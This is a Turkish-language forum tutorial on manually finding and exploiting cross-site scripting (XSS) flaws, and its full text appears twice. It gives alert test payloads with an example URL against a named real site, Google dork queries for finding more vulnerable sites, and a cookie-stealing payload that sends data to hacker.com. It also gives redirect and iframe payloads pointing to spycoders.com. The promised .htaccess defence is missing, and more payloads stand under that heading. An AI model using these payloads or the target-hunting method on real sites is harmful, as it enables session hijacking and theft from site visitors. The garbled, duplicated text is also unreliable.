Xss Açığı Manuel Bulma
# XSS ( Cross Site Scripting ) Nedir.
# XSS açığının işleyişi nasıldır.
# Açık sitenin hangi kısımlarında bulunur.
# Açığın bulunması ve uygulanması.
# Açıktan nasıl korunabiliriz.
,,
* XSS ( Cross Site Scripting ) Nedir;
Web uygulamalarının neden olduğu açıklardan biri olan "XSS" asıl adı "Cross Site Scripting" scriptlerin yazılmaya başlanmasından sonra ortaya çıkan çok eski bir açıktır.Açık eski olmasına rağmen günümüzde birçok web sitesinde mevcuttur.
* XSS açığının işleyişi nasıldır;
Web Scriptlerinin yazılımının sebebiyet verdiği bu açığın işleyişi,açığı kullanmak isteyen kişinin hazırlamış olduğu kodları kendi hazırlamış olduğu sayfalara ekliyerek, bilgilerini ele geçirmek istediği kişiye bir şekilde iletmesidir.Bu olaylar esnasında kurban hernekadar sadece bir linke veya bir sayfaya girmiş olduğunu düşünsede kişi kendi elleriyle bilgilerinin
karşı tarafa gitmesine neden olmaktadır.
* Açık sitenin hangi kısımlarında bulunur;
Açık genellikler POST ve GET metodlarının kullanıldığı bölümlerde görülür fakat,açığın gerek anasayfada gerekse arka planda yazılımdan kaynaklanan hata nedeniyle bulunması kaçınılmazdır.
Özellikle sitelerin Arama kısımlarında bulunan açığı galeri,mesajlar,haberler,yorumlar vs.. bölümlerinde'de görebiliriz.
* Açığın bulunması ve uygulanması;
Verilen maddelere uygun olması nedeniyle konunun bu kısmınada değinelim,
Yukarda genellikle arama kısımlarında bulunur diye bahsetmiştik, karşıdaki sitenin php veya asp oldugu düşünüp açıkla alakalı uygulama yapalım.
Php bir site için uygulacağımız alert verdirme kodu,yani sitede xss açığının bulunduğuna kanaat getireceğimiz kodların bir kaçından bahsedip aşağıda uygulamalarından detaylı bir şekilde bahsedeceğim.
Hedef sitemiz php ise;
Kod:
< script>alert("HUNTER.")</script>
Hedef sitemiz asp ise;
Kod:
">< script>alert("HUNTER.")</script>
örnek; http://www.hedefsite.com/arama.php?=< script>alert("HUNTER.")</script>
örnek; http://www.hedefsite.com/arama.asp?=">< script>alert("HUNTER.")</script>
Yukarda verilen örneklerde yazmış olduğumuz alert verdirme kodları hedef siteye uygulandığı takdirde sonuç alıp alert verdirilirse bu hedes sitemizde XSS açığının mevcut olduğunu gösterir.Yukarda vermiş olduğum alert verdirme kodlarına aşağıda kapsamlı olarak değinilecektir.
XSS'yi henüz yeni öğrenen kişilerin alert nedir dememeleri için konuyla alakalı bir örnek vereyim;
ilgili site: http://www.europa-eu-un.org/home/articleslist.asp?">< script>alert("HUNTER.")</script>
Ekran görüntüsü;
Hedef siteye yönelik bir uygulama ise verecegim kodları sitede bahsetmiş oldugum noktalarda denemelisiniz.Amacınız ilgili açıkla alakalı daha fazla site bulmak ise güzel bir yol paylaşayım;
Google aramalarımızı şu şekilde genişletebiliriz:
inurl:searc.asp , inurl:search.php , inurl:arama.asp veya php
veya aramamızı biraz daha genişletiyoruz;
inurl:search.asp inurl:tr ( arama yapmak istedigimiz ülkenin domain uzantısını belirtirseniz o ülkeye yönelik arama sonuçlarına ulaşabilirsiniz )
Yukarda belirtmiş oldugum search.php veya search.asp veya arama.php sizin insifiyatifiniz doğrultusunda değişebilir, aramalarınızı, ( index,anasayfa,haber,galeri,mesaj,.. ) bu şekilde genişletebilirsiniz.
* Açıktan nasıl korunabiliriz;
XSS açıklarından korunmanın birkaç yolu mevcuttur içlerinden en basitini paylaşmak istiyorum,
".htaccess" ile Korunma;
".htaccess" dosyasının yapılandırılmasıyla XSS açığından korunmak mevcuttur.Aşağıda vereceğim kodları sitenizin kök dizininde bulunan veya scriptinizin bulunduğu dizindeki ".htaccess" dosyasına ekleyin.Bu sayede yapılan bir XSS saldırısında site hata sayfası verip erişimi engelliyecektir.
1.
Kod:
< script>alert(XSS)</script>
Bir uyarı mesajı çıkartarak içinde XSS yazılmasını sağlayan Javascript kodudur.
Saldırgan bu şekilde veri girişine izin verilen web yazılımlarına zararlı kod göndererek XSS açığını tespit edebilir.
2.
Kod:
< script src=http://www.site.com></script>
XSS açığından faydalanarak web yazılımı ziyaret eden kullanıcılara başka bir site üzerindeki zararlı kodu yükleyebilir.
3.
Kod:
< script>alert (d o c u ment.cookie);</script>
Web yazılımının çerez bilgisinin ekran uyarı kutusu içinde görüntülenmesini sağlar.
4. XSS Açığı ile Çerez Çalma: Çerezler (Cookie) zayıf http protokolünün oturum durumunun kontrolünü ve kimlik doğrulamayı sağlayan zayıf bileşenleridir.Saldırgan eğer sayfayı ziyaret eden kullanıcıların Çerez bilgisini okuyup kaydedebilirse kendi bilgileri ile yerlerini değiştirerek kurbanın yetkilerine ulaşabilir.Bu işlemi XSS açığı bulunan web yazılımını ziyaret eden herkesin Çerez bilgilerini başka bir web yazılımına kaydeden bir Javascript kodu göndererek gerçekleştirebilir.
Aşağıda belirtilen Javascript kodu sayfayı ziyaret eden kullanıcıların bilgilerini bir başka web yazılımına kaydedilmesini sağlamaktadır.
Kod:
<img src= "http://hacker.com/cgi-bin/spycoders.jpg">
ve saldırgan daha sonra bu XSS açığını kullanarak aldığı Çerez bilgilerini aşağıda belirtilen adresten okuyabilir ve kendi Çerez bilgileri ile değiştirebilir.
http://hacker.com/sniff/log.php
Bazı Çerez bilgileri içinde Kullanıcı adı ve şifre gibi önemli bilgilerin tutulduğunu düşünürsek XSS açıklarının ne kadar zararlı olabileceğini algılamış oluruz.Saldırgan elde ettiği bu bilgiler ile internet üzerinden kolayca ücretsiz bulabileceği Cookie Editor yazılımları ile kendi Çerez bilgilerini de kolayca değiştirerek kurbanın yetkilerine ulaşabilir.
5. XSS aöıkları URL üzerinden de test edilebilir.
6.
Kod:
http://www.kurban.com/members.php?id=< script>alert(XSS)</script>
Genelde XSS kodları < script>, <applet>, <object> ve <embed> kodları içinde web yazılımına gönderilir.
7.
Kod:
< script type="text/javascript">
<!--
windows.l o c a t i o n ="http://www.spycoders.com/"
//-->
</script>
Yukarıda belirtilen örnek Javascript kodu XSS açığı olan bu web sayfasına giren kullanıcıları www.spycoders.com sitesine yönlendirmektir.
8.
Kod:
<iframe src=http://www.spycoders.com <
Web sayfasının içinde başka bir çerçeve içinde www.spycoders.com adresine yönlendirme yapar.Bu şekilde saldırgan istediği zararlı kodu ActiveX ve benzeri yöntemler ile sistemlere bulaştırabilir.
9. Saldırganlar web yazılımlarındaki XSS zayıflıklarını tespit etmeye çalışırken web yazılımcıların olsa script girişlerini engellemek için kullandıkları yöntemleri anlamaya ve aşmaya çalışırlar.XSS saldırısını Evrensel Koda dönüştürmek saldırının maskelenmesini sağlayabilir.
Örneğin aşağıda bir XSS saldırı yöntemi ve onun Evrensel Koda dönüştürülmüş hali görüntülenmektedir.
Kod:
< script>alert(XSS)</script>
Evrensel Kod:
Evrensel Kod ancak böyle oldu çünkü otomatik olarak normal haline çeviriyor
Saldırganlar bu şekilde web yazılımcıların filtreleme yapabileceklerini düşünerek XSS saldırılarını farklı şekillerde web yazılımına göndermeye çalışırlar.
XSS Cross Site Scripting Demonstration - YouTube
# XSS ( Cross Site Scripting ) Nedir.
# XSS açığının işleyişi nasıldır.
# Açık sitenin hangi kısımlarında bulunur.
# Açığın bulunması ve uygulanması.
# Açıktan nasıl korunabiliriz.
,,
* XSS ( Cross Site Scripting ) Nedir;
Web uygulamalarının neden olduğu açıklardan biri olan "XSS" asıl adı "Cross Site Scripting" scriptlerin yazılmaya başlanmasından sonra ortaya çıkan çok eski bir açıktır.Açık eski olmasına rağmen günümüzde birçok web sitesinde mevcuttur.
* XSS açığının işleyişi nasıldır;
Web Scriptlerinin yazılımının sebebiyet verdiği bu açığın işleyişi,açığı kullanmak isteyen kişinin hazırlamış olduğu kodları kendi hazırlamış olduğu sayfalara ekliyerek, bilgilerini ele geçirmek istediği kişiye bir şekilde iletmesidir.Bu olaylar esnasında kurban hernekadar sadece bir linke veya bir sayfaya girmiş olduğunu düşünsede kişi kendi elleriyle bilgilerinin
karşı tarafa gitmesine neden olmaktadır.
* Açık sitenin hangi kısımlarında bulunur;
Açık genellikler POST ve GET metodlarının kullanıldığı bölümlerde görülür fakat,açığın gerek anasayfada gerekse arka planda yazılımdan kaynaklanan hata nedeniyle bulunması kaçınılmazdır.
Özellikle sitelerin Arama kısımlarında bulunan açığı galeri,mesajlar,haberler,yorumlar vs.. bölümlerinde'de görebiliriz.
* Açığın bulunması ve uygulanması;
Verilen maddelere uygun olması nedeniyle konunun bu kısmınada değinelim,
Yukarda genellikle arama kısımlarında bulunur diye bahsetmiştik, karşıdaki sitenin php veya asp oldugu düşünüp açıkla alakalı uygulama yapalım.
Php bir site için uygulacağımız alert verdirme kodu,yani sitede xss açığının bulunduğuna kanaat getireceğimiz kodların bir kaçından bahsedip aşağıda uygulamalarından detaylı bir şekilde bahsedeceğim.
Hedef sitemiz php ise;
Kod:
< script>alert("HUNTER.")</script>
Hedef sitemiz asp ise;
Kod:
">< script>alert("HUNTER.")</script>
örnek; http://www.hedefsite.com/arama.php?=< script>alert("HUNTER.")</script>
örnek; http://www.hedefsite.com/arama.asp?=">< script>alert("HUNTER.")</script>
Yukarda verilen örneklerde yazmış olduğumuz alert verdirme kodları hedef siteye uygulandığı takdirde sonuç alıp alert verdirilirse bu hedes sitemizde XSS açığının mevcut olduğunu gösterir.Yukarda vermiş olduğum alert verdirme kodlarına aşağıda kapsamlı olarak değinilecektir.
XSS'yi henüz yeni öğrenen kişilerin alert nedir dememeleri için konuyla alakalı bir örnek vereyim;
ilgili site: http://www.europa-eu-un.org/home/articleslist.asp?">< script>alert("HUNTER.")</script>
Ekran görüntüsü;
Hedef siteye yönelik bir uygulama ise verecegim kodları sitede bahsetmiş oldugum noktalarda denemelisiniz.Amacınız ilgili açıkla alakalı daha fazla site bulmak ise güzel bir yol paylaşayım;
Google aramalarımızı şu şekilde genişletebiliriz:
inurl:searc.asp , inurl:search.php , inurl:arama.asp veya php
veya aramamızı biraz daha genişletiyoruz;
inurl:search.asp inurl:tr ( arama yapmak istedigimiz ülkenin domain uzantısını belirtirseniz o ülkeye yönelik arama sonuçlarına ulaşabilirsiniz )
Yukarda belirtmiş oldugum search.php veya search.asp veya arama.php sizin insifiyatifiniz doğrultusunda değişebilir, aramalarınızı, ( index,anasayfa,haber,galeri,mesaj,.. ) bu şekilde genişletebilirsiniz.
* Açıktan nasıl korunabiliriz;
XSS açıklarından korunmanın birkaç yolu mevcuttur içlerinden en basitini paylaşmak istiyorum,
".htaccess" ile Korunma;
".htaccess" dosyasının yapılandırılmasıyla XSS açığından korunmak mevcuttur.Aşağıda vereceğim kodları sitenizin kök dizininde bulunan veya scriptinizin bulunduğu dizindeki ".htaccess" dosyasına ekleyin.Bu sayede yapılan bir XSS saldırısında site hata sayfası verip erişimi engelliyecektir.
1.
Kod:
< script>alert(XSS)</script>
Bir uyarı mesajı çıkartarak içinde XSS yazılmasını sağlayan Javascript kodudur.
Saldırgan bu şekilde veri girişine izin verilen web yazılımlarına zararlı kod göndererek XSS açığını tespit edebilir.
2.
Kod:
< script src=http://www.site.com></script>
XSS açığından faydalanarak web yazılımı ziyaret eden kullanıcılara başka bir site üzerindeki zararlı kodu yükleyebilir.
3.
Kod:
< script>alert (d o c u ment.cookie);</script>
Web yazılımının çerez bilgisinin ekran uyarı kutusu içinde görüntülenmesini sağlar.
4. XSS Açığı ile Çerez Çalma: Çerezler (Cookie) zayıf http protokolünün oturum durumunun kontrolünü ve kimlik doğrulamayı sağlayan zayıf bileşenleridir.Saldırgan eğer sayfayı ziyaret eden kullanıcıların Çerez bilgisini okuyup kaydedebilirse kendi bilgileri ile yerlerini değiştirerek kurbanın yetkilerine ulaşabilir.Bu işlemi XSS açığı bulunan web yazılımını ziyaret eden herkesin Çerez bilgilerini başka bir web yazılımına kaydeden bir Javascript kodu göndererek gerçekleştirebilir.
Aşağıda belirtilen Javascript kodu sayfayı ziyaret eden kullanıcıların bilgilerini bir başka web yazılımına kaydedilmesini sağlamaktadır.
Kod:
<img src= "http://hacker.com/cgi-bin/spycoders.jpg">
ve saldırgan daha sonra bu XSS açığını kullanarak aldığı Çerez bilgilerini aşağıda belirtilen adresten okuyabilir ve kendi Çerez bilgileri ile değiştirebilir.
http://hacker.com/sniff/log.php
Bazı Çerez bilgileri içinde Kullanıcı adı ve şifre gibi önemli bilgilerin tutulduğunu düşünürsek XSS açıklarının ne kadar zararlı olabileceğini algılamış oluruz.Saldırgan elde ettiği bu bilgiler ile internet üzerinden kolayca ücretsiz bulabileceği Cookie Editor yazılımları ile kendi Çerez bilgilerini de kolayca değiştirerek kurbanın yetkilerine ulaşabilir.
5. XSS aöıkları URL üzerinden de test edilebilir.
6.
Kod:
http://www.kurban.com/members.php?id=< script>alert(XSS)</script>
Genelde XSS kodları < script>, <applet>, <object> ve <embed> kodları içinde web yazılımına gönderilir.
7.
Kod:
< script type="text/javascript">
<!--
windows.l o c a t i o n ="http://www.spycoders.com/"
//-->
</script>
Yukarıda belirtilen örnek Javascript kodu XSS açığı olan bu web sayfasına giren kullanıcıları www.spycoders.com sitesine yönlendirmektir.
8.
Kod:
<iframe src=http://www.spycoders.com <
Web sayfasının içinde başka bir çerçeve içinde www.spycoders.com adresine yönlendirme yapar.Bu şekilde saldırgan istediği zararlı kodu ActiveX ve benzeri yöntemler ile sistemlere bulaştırabilir.
9. Saldırganlar web yazılımlarındaki XSS zayıflıklarını tespit etmeye çalışırken web yazılımcıların olsa script girişlerini engellemek için kullandıkları yöntemleri anlamaya ve aşmaya çalışırlar.XSS saldırısını Evrensel Koda dönüştürmek saldırının maskelenmesini sağlayabilir.
Örneğin aşağıda bir XSS saldırı yöntemi ve onun Evrensel Koda dönüştürülmüş hali görüntülenmektedir.
Kod:
< script>alert(XSS)</script>
Evrensel Kod:
Evrensel Kod ancak böyle oldu çünkü otomatik olarak normal haline çeviriyor
Saldırganlar bu şekilde web yazılımcıların filtreleme yapabileceklerini düşünerek XSS saldırılarını farklı şekillerde web yazılımına göndermeye çalışırlar.
XSS Cross Site Scripting Demonstration - YouTube
Son düzenleme: